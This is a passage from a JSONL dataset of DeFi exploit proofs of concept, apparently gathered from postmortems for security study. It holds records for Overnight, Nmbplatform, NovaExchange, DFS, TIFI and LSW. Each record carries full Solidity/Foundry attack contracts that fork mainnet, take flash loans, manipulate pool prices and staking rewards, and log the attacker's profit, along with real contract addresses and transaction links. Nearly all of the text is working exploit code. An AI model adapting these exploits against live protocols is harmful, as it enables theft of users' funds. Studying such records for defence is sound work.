type(uint256).max);\n USDplus.buy(address(USDC), USDC.balanceOf(address(this))); // tigger Swap.addLiquidity(USDC.e), add USDC.e reserve in Pool\n // swap nUSD, DAI.e, USDT.e to USDC.e\n Swap.swap(0, 2, nUSD.balanceOf(address(this)), 0, block.timestamp);\n Swap.swap(1, 2, DAI_e.balanceOf(address(this)), 0, block.timestamp);\n Swap.swap(3, 2, USDT_e.balanceOf(address(this)), 0, block.timestamp);\n\n USDC_e.approve(address(qiUSDC), qiUSDC.borrowBalanceStored(address(this)));\n qiUSDC.repayBorrow(qiUSDC.borrowBalanceStored(address(this))); // repay borrow USDC.e\n qiUSDCn.redeemUnderlying(mintAmount); // withdraw USDC from qiUSDCn\n\n USDC_e.approve(address(Platypus), type(uint256).max);\n uint256 USDC_eSwapAmount = USDC_e.balanceOf(address(this)) - PoolV2BorrowAmount / 9991 * 10_000 + 1000;\n Platypus.swap(\n address(USDC_e),\n address(USDC),\n USDC_eSwapAmount,\n USDC_eSwapAmount * 99 / 100,\n address(this),\n block.timestamp\n ); // swap profit USDC.e to USDC\n\n return true;\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Overnight", "date": "2022-12", "file_name": "Overnight_exp.sol", "attack_vector": "flash_loan", "content_hash": "f9fa717636540c2e", "collected_at": "2026-01-07T10:59:16.538122", "_source": "postmortems", "chain": "avalanche", "block_number": 23097846, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public payable {\n amountBuy = 36_000_000_000;\n address[] memory path = new address[](2);\n path[0] = address(WAVAX);\n path[1] = address(USDC);\n Router.swapAVAXForExactTokens{value: 2830 ether}(amountBuy, path, address(this), block.timestamp);\n\n uint256 beforeAttackBalance = USDC.balanceOf(address(this));\n emit log_named_uint(\"Before exploit , USDC balance of attacker\", beforeAttackBalance / 1e6);\n\n Hack();\n\n uint256 afterAttackBalance = USDC.balanceOf(address(this));\n emit log_named_uint(\"After exploit , USDC balance of attacker\", afterAttackBalance / 1e6);\n\n uint256 profitAttack = afterAttackBalance - beforeAttackBalance;\n emit log_named_uint(\"Profit: USDC balance of attacker\", profitAttack / 1e6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Overnight Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1602877048124735489\n// @TX\n// https://bscscan.com/tx/0x7d2d8d2cda2d81529e0e0af90c4bfb39b6e74fa363c60b031d719dd9d153b012\n// https://bscscan.com/tx/0x42f56d3e86fb47e1edffa59222b33b73e7407d4b5bb05e23b83cb1771790f6c1\n\ninterface NimbusBNB is IERC20 {\n function deposit() external payable;\n function withdraw(\n uint256 wad\n ) external;\n}\n\ninterface StakingRewardFixedAPY is IERC20 {\n function stake(\n uint256 amount\n ) external;\n function getReward() external;\n function withdraw() external;\n function earned(\n address account\n ) external view returns (uint256);\n}\n\ninterface LockStakingRewardFixedAPY {\n function stake(\n uint256 amount\n ) external;\n function getReward() external;\n function earned(\n address account\n ) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);\n IERC20 NIMB = IERC20(0xCb492C701F7fe71bC9C4B703b84B0Da933fF26bB);\n NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);\n Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xaCAac9311b0096E04Dfe96b6D87dec867d3883Dc);\n StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);\n LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);\n LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);\n address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n uint256 flashLoanAmount;\n uint256 flashSwapAmount;\n User1 public user1;\n User2 public user2;\n User3 public user3;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_639_507);\n }\n\n function testExploit() public {\n user1 = new User1();\n user2 = new User2();\n user3 = new User3();\n NBU_WBNB.deposit{value: 20 ether}();\n NBU_WBNB.transfer(address(user1), 16 ether);\n NBU_WBNB.transfer(address(user2), 2 ether);\n NBU_WBNB.transfer(address(user3), 2 ether);\n user1.stake();\n user2.stake();\n user3.stake();\n cheats.warp(block.timestamp + 8 * 24 * 60 * 60);\n flashLoanAmount = WBNB.balanceOf(dodo);\n DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n flashSwapAmount = WBNB.balanceOf(address(Pair)) - 1e18;\n Pair.swap(flashSwapAmount, 0, address(this), new bytes(1));\n WBNB.transfer(dodo, flashLoanAmount);\n }\n\n function BiswapCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n payable(address(0)).transfer(address(this).balance);\n WBNB.withdraw(WBNB.balanceOf(address(this)));\n NBU_WBNB.deposit{value: address(this).balance}();\n NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(NBU_WBNB);\n path[1] = address(NIMB);\n NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n ); // Reward Price Manipulation\n user1.getReward();\n // GNIMB.transfer(address(stakingReward1), stakingReward1.balanceOf(address(user1)) - GNIMB.balanceOf(address(stakingReward1)));\n // user1.withdraw();\n GNIMB.transfer(\n address(stakingReward2), stakingReward2.earned(address(user2)) - GNIMB.balanceOf(address(stakingReward2))\n );\n user2.getReward();\n GNIMB.transfer(\n address(stakingReward3), stakingReward3.earned(address(user3)) - GNIMB.balanceOf(address(stakingReward3))\n );\n user3.getReward();\n NIMB.approve(address(NimbusRouter), type(uint256).max);\n path[0] = address(NIMB);\n path[1] = address(NBU_WBNB);\n NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n NIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n GNIMBToNBU_WBNB();\n NBU_WBNB.withdraw(NBU_WBNB.balanceOf(address(this)));\n address(WBNB).call{value: address(this).balance}(\"\");\n WBNB.transfer(address(Pair), flashSwapAmount * 1000 / 998 + 1000);\n }\n\n function GNIMBToNBU_WBNB() internal {\n GNIMB.approve(address(NimbusRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(GNIMB);\n path[1] = address(NBU_WBNB);\n NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n GNIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n receive() external payable {}\n}\n\ncontract User1 is Test {\n address Owner;\n IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);\n NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);\n Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);\n StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);\n\n constructor() {\n Owner = msg.sender;\n }\n\n function stake() external {\n NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(NBU_WBNB);\n path[1] = address(GNIMB);\n NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n GNIMB.approve(address(stakingReward1), type(uint256).max);\n stakingReward1.stake(GNIMB.balanceOf(address(this)));\n }\n\n function getReward() external {\n deal(address(GNIMB), address(stakingReward1), 13_855_114 * 1e18);\n stakingReward1.getReward();\n GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));\n }\n\n // function withdraw() external{\n // stakingReward1.withdraw();\n // GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));\n // }\n}\n\ncontract User2 {\n address Owner;\n IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);\n NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);\n Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);\n LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);\n\n constructor() {\n Owner = msg.sender;\n }\n\n function stake() external {\n NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(NBU_WBNB);\n path[1] = address(GNIMB);\n NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n GNIMB.approve(address(stakingReward2), type(uint256).max);\n stakingReward2.stake(GNIMB.balanceOf(address(this)));\n }\n\n function getReward() external {\n stakingReward2.getReward();\n GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));\n }\n}\n\ncontract User3 {\n address Owner;\n IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);\n NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);\n Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);\n LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);\n\n constructor() {\n Owner = msg.sender;\n }\n\n function stake() external {\n NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(NBU_WBNB);\n path[1] = address(GNIMB);\n NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n GNIMB.approve(address(stakingReward3), type(uint256).max);\n stakingReward3.stake(GNIMB.balanceOf(address(this)));\n }\n\n function getReward() external {\n stakingReward3.getReward();\n GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Nmbplatform", "date": "2022-12", "file_name": "Nmbplatform_exp.sol", "attack_vector": "flash_loan", "content_hash": "c205e4a256b1739e", "collected_at": "2026-01-07T10:59:16.538203", "_source": "postmortems", "chain": "bsc", "block_number": 23639507, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n user1 = new User1();\n user2 = new User2();\n user3 = new User3();\n NBU_WBNB.deposit{value: 20 ether}();\n NBU_WBNB.transfer(address(user1), 16 ether);\n NBU_WBNB.transfer(address(user2), 2 ether);\n NBU_WBNB.transfer(address(user3), 2 ether);\n user1.stake();\n user2.stake();\n user3.stake();\n cheats.warp(block.timestamp + 8 * 24 * 60 * 60);\n flashLoanAmount = WBNB.balanceOf(dodo);\n DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Nmbplatform Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1601168659585454081\n// @TX\n// https://bscscan.com/tx/0xf743dba906255cf6f75f8243ef8192f2a211aacf03df99322584686b5c445c23\n// forge test --contracts ./src/test/NovaExchange_exp.sol -vv\n\ninterface INovaExchange {\n function rewardHolders(\n uint256 amount\n ) external;\n\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n INovaExchange novaContract = INovaExchange(0xB5B27564D05Db32CF4F25813D35b6E6de9210941);\n address attacker = 0xCBF184b8156e1271449CFb42A7D0556A8DCFEf72;\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n\n IPancakeRouter wbnb_nova = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); // wbnb/nova Pair\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_749_678); //fork bsc at block number 23749678\n\n //novaContract.approve(address(wbnb_nova), type(uint256).max);\n //WBNB.approve(address(wbnb_nova), type(uint256).max);\n }\n\n function testExploit() public {\n emit log_named_uint(\"Before exploit, NOVA balance of attacker:\", novaContract.balanceOf(attacker));\n\n cheats.prank(attacker);\n\n novaContract.rewardHolders(10_000_000_000_000_000_000_000_000_000);\n\n emit log_named_uint(\"After exploit, NOVA balance of attacker:\", novaContract.balanceOf(attacker));\n\n // address[] memory path2 = new address[](2);\n // path2[0] = address(novaContract);\n // path2[1] = address(WBNB);\n\n //I see [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT] testExploit() (gas: 124976)\n //I am pretty sure the error has to do with the number of decimals of the NOVA token\n //Not sure how to fix it\n // wbnb_nova.swapExactTokensForETH(\n // 10000000000020000000000000000,\n // 361966603954705498098,\n // path2,\n // attacker,\n // 1670570010\n // );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "NovaExchange", "date": "2022-12", "file_name": "NovaExchange_exp.sol", "attack_vector": null, "content_hash": "2fbb9ff931598a6b", "collected_at": "2026-01-07T10:59:16.538268", "_source": "postmortems", "chain": "bsc", "block_number": 23749678, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Before exploit, NOVA balance of attacker:\", novaContract.balanceOf(attacker));\n\n cheats.prank(attacker);\n\n novaContract.rewardHolders(10_000_000_000_000_000_000_000_000_000);\n\n emit log_named_uint(\"After exploit, NOVA balance of attacker:\", novaContract.balanceOf(attacker));\n\n // address[] memory path2 = new address[](2);\n // path2[0] = address(novaContract);\n // path2[1] = address(WBNB);\n\n //I see [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT] testExploit() (gas: 124976)\n //I am pretty sure the error has to do with the number of decimals of the NOVA token\n //Not sure how to fix it\n // wbnb_nova.swapExactTokensForETH(\n // 10000000000020000000000000000,\n // 361966603954705498098,\n // path2,\n // attacker,\n // 1670570010\n // );\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.16, "quality_estimate": "low", "title": "NovaExchange Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~1,450 US$\n// Attacker : 0xb358BfD28b02c5e925b89aD8b0Eb35913D2d0805\n// Attack Contract : 0x87bfd80c2a05ee98cfe188fd2a0e4d70187db137\n// Vulnerable Contract : 0x2B806e6D78D8111dd09C58943B9855910baDe005\n// Attack Tx : https://bscscan.com/tx/0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x2B806e6D78D8111dd09C58943B9855910baDe005#code#830\n\n// @Analysis\n// CertiKAlert : https://twitter.com/CertiKAlert/status/1608788290785665024\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\nIPancakePair constant USDT_CCDS_LP = IPancakePair(0x2B948B5D3EBe9F463B29280FC03eBcB82db1072F);\nIPancakePair constant DFS_USDT_LP = IPancakePair(0x4B02D85E086809eB7AF4E791103Bc4cde83480D1);\nIPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\naddress constant usdt = 0x55d398326f99059fF775485246999027B3197955;\naddress constant dfs = 0x2B806e6D78D8111dd09C58943B9855910baDe005;\naddress constant ccds = 0xBFd48CC239bC7e7cd5AD9F9630319F9b59e0B9e1;\n\ncontract Attacker is Test {\n // forge test --contracts ./src/test/DFS_exp.sol -vvvv\n function setUp() public {\n cheat.label(address(pancakeRouter), \"pancakeRouter\");\n cheat.label(address(USDT_CCDS_LP), \"USDT_CCDS_LP\");\n cheat.label(address(DFS_USDT_LP), \"DFS_USDT_LP\");\n cheat.label(usdt, \"USDT\");\n cheat.label(dfs, \"dfs\");\n cheat.label(ccds, \"ccds\");\n cheat.createSelectFork(\"bsc\", 24_349_821);\n }\n\n function testExploit() public {\n Exploit exploit = new Exploit();\n emit log_named_decimal_uint(\"[start] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(exploit)), 18);\n exploit.harvest();\n emit log_named_decimal_uint(\"[End] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(exploit)), 18);\n }\n}\n\ncontract Exploit is Test {\n uint256 borrowamount;\n\n function harvest() public {\n emit log_named_decimal_uint(\n \"[INFO] usdt balance : DFS_USDT_LP\", IERC20(usdt).balanceOf(address(DFS_USDT_LP)), 18\n );\n borrowamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP));\n USDT_CCDS_LP.swap(borrowamount, 0, address(this), \"0\");\n emit log_named_decimal_uint(\"[INFO] usdt balance : this\", IERC20(usdt).balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n if (keccak256(data) != keccak256(\"0\")) return;\n emit log(\"[INFO] Flashloan received \");\n emit log_named_decimal_uint(\"[INFO] this balance (usdt token)\", IERC20(usdt).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[INFO] this balance (dfs token)\", IERC20(dfs).balanceOf(address(this)), 18);\n IERC20(usdt).transfer(address(DFS_USDT_LP), borrowamount);\n\n (uint256 reserve0beforeswap, uint256 reserve1beforeswap,) = DFS_USDT_LP.getReserves();\n uint256 swapamount = reserve0beforeswap * 499 / 1000; // swap 0.449 lp dfs\n // DFS_USDT_LP.swap(reserve0beforeswap , 0,address(this), new bytes(1));\n emit log_named_decimal_uint(\"[INFO] swapamount \", swapamount, 18);\n DFS_USDT_LP.swap(swapamount, 0, address(this), new bytes(1));\n DFS_USDT_LP.sync();\n\n emit log_named_decimal_uint(\"[INFO] dfs balance : address(this)\", IERC20(dfs).balanceOf(address(this)), 18);\n uint256 dfstransferamount = IERC20(dfs).balanceOf(address(this));\n IERC20(dfs).transfer(address(DFS_USDT_LP), dfstransferamount * 98 / 100); // transfer 98% dfs balance\n // loop 12 times skim() function\n for (uint256 i = 0; i < 12; i++) {\n DFS_USDT_LP.skim(address(DFS_USDT_LP));\n }\n DFS_USDT_LP.skim(address(this));\n\n uint256 txamount = IERC20(dfs).balanceOf(address(this));\n emit log_named_decimal_uint(\"[INFO] dfs balance : address(this)\", txamount, 18);\n IERC20(dfs).transfer(address(DFS_USDT_LP), txamount * 95 / 100); //transfer 95% dfs balance\n\n emit log_named_decimal_uint(\n \"[INFO] address(this) balance (dfs token)\", IERC20(dfs).balanceOf(address(this)), 18\n );\n emit log_named_decimal_uint(\n \"[INFO] address(this) balance (usdt token)\", IERC20(usdt).balanceOf(address(this)), 18\n );\n\n //todo\n uint256 dfslpusdtamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP));\n emit log_named_decimal_uint(\"[INFO] address(DFS_USDT_LP) balance (usdt token)\", dfslpusdtamount, 18);\n DFS_USDT_LP.swap(0, dfslpusdtamount * 999 / 1000, address(this), new bytes(1)); // swap 99.9 lp usdt\n emit log_named_decimal_uint(\"[INFO] payback amount usdt \", IERC20(usdt).balanceOf(address(address(this))), 18);\n uint256 paybackfee = borrowamount * 1005 / 1000; // 0.5% fee\n bool suc = IERC20(usdt).transfer(address(USDT_CCDS_LP), paybackfee);\n require(suc, \"[INFO] Flashloan[1] payback failed \");\n emit log(\"[INFO] Flashloan payback success \");\n }\n}\n", "type": "exploit_poc", "protocol": "DFS", "date": "2022-12", "file_name": "DFS_exp.sol", "attack_vector": "flash_loan", "content_hash": "b4623b4d284e6465", "collected_at": "2026-01-07T10:59:16.538312", "_source": "postmortems", "chain": "bsc", "block_number": 24349821, "total_lost_raw": "~1,450 US$", "total_lost_usd": 1.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~1,450 US$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n Exploit exploit = new Exploit();\n emit log_named_decimal_uint(\"[start] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(exploit)), 18);\n exploit.harvest();\n emit log_named_decimal_uint(\"[End] Attacker USDT Balance\", IERC20(usdt).balanceOf(address(exploit)), 18);\n }\n}\n\ncontract Exploit is Test {\n uint256 borrowamount;", "has_exploit_code": true, "keyinfo_total_lost": "~1,450 US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1", "content_richness_score": 8.62, "quality_estimate": "high", "title": "DFS Exploit (2022-12)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1601492605535399936\n// @TX\n// https://bscscan.com/tx/0x1c5272ce35338c57c6b9ea710a09766a17bbf14b61438940c3072ed49bfec402\n\ninterface TIFIFinance {\n function deposit(address token, uint256 amount) external;\n function borrow(address qToken, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n TIFIFinance TIFI = TIFIFinance(0x8A6F7834A9d60090668F5db33FEC353a7Fb4704B);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Router_V2 TIFIRouter = Uni_Router_V2(0xC8595392B8ca616A226dcE8F69D9E0c7D4C81FE4);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);\n IERC20 TIFIToken = IERC20(0x17E65E6b9B166Fb8e7c59432F0db126711246BC0);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_778_726);\n }\n\n function testExploit() public {\n WBNB.approve(address(TIFIRouter), type(uint256).max);\n BUSD.approve(address(TIFI), type(uint256).max);\n TIFIToken.approve(address(Router), type(uint256).max);\n Pair.swap(5 * 1e18, 500 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n TIFI.deposit(address(BUSD), BUSD.balanceOf(address(this)));\n WBNBToBUSD(); // change the reserve of WBNB - BUSD\n TIFI.borrow(address(TIFIToken), TIFIToken.balanceOf(address(TIFI))); //call getReserves of WBNB - BUSD LP and borrow TIFI TOKEN\n TIFIToWBNB();\n WBNB.transfer(address(Pair), 7 * 1e18);\n }\n\n function WBNBToBUSD() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BUSD);\n TIFIRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function TIFIToWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(TIFIToken);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n TIFIToken.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "TIFI", "date": "2022-12", "file_name": "TIFI_exp.sol", "attack_vector": null, "content_hash": "8d530a446ff0dcc3", "collected_at": "2026-01-07T10:59:16.538370", "_source": "postmortems", "chain": "bsc", "block_number": 23778726, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n WBNB.approve(address(TIFIRouter), type(uint256).max);\n BUSD.approve(address(TIFI), type(uint256).max);\n TIFIToken.approve(address(Router), type(uint256).max);\n Pair.swap(5 * 1e18, 500 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.37, "quality_estimate": "low", "title": "TIFI Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/PeckShieldAlert/status/1606276020276891650\n// @TX\n// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d\n\ninterface LSWUSDC {\n function maxFlashLoan(\n address token\n ) external view returns (uint256);\n function flashFee(address token, uint256 amount) external view returns (uint256);\n function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;\n function deposit(uint256 amount, address to) external returns (uint256);\n function redeem(uint256 shares, address receiver, address owner) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);\n LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);\n uint256 flashLoanAmount;\n uint256 flashLoanFee;\n uint256 depositAmount;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"avalanche\", 24_003_940);\n }\n\n function testExploit() public {\n flashLoanAmount = LSW.maxFlashLoan(address(USDC));\n flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);\n Pair.swap(0, flashLoanAmount + 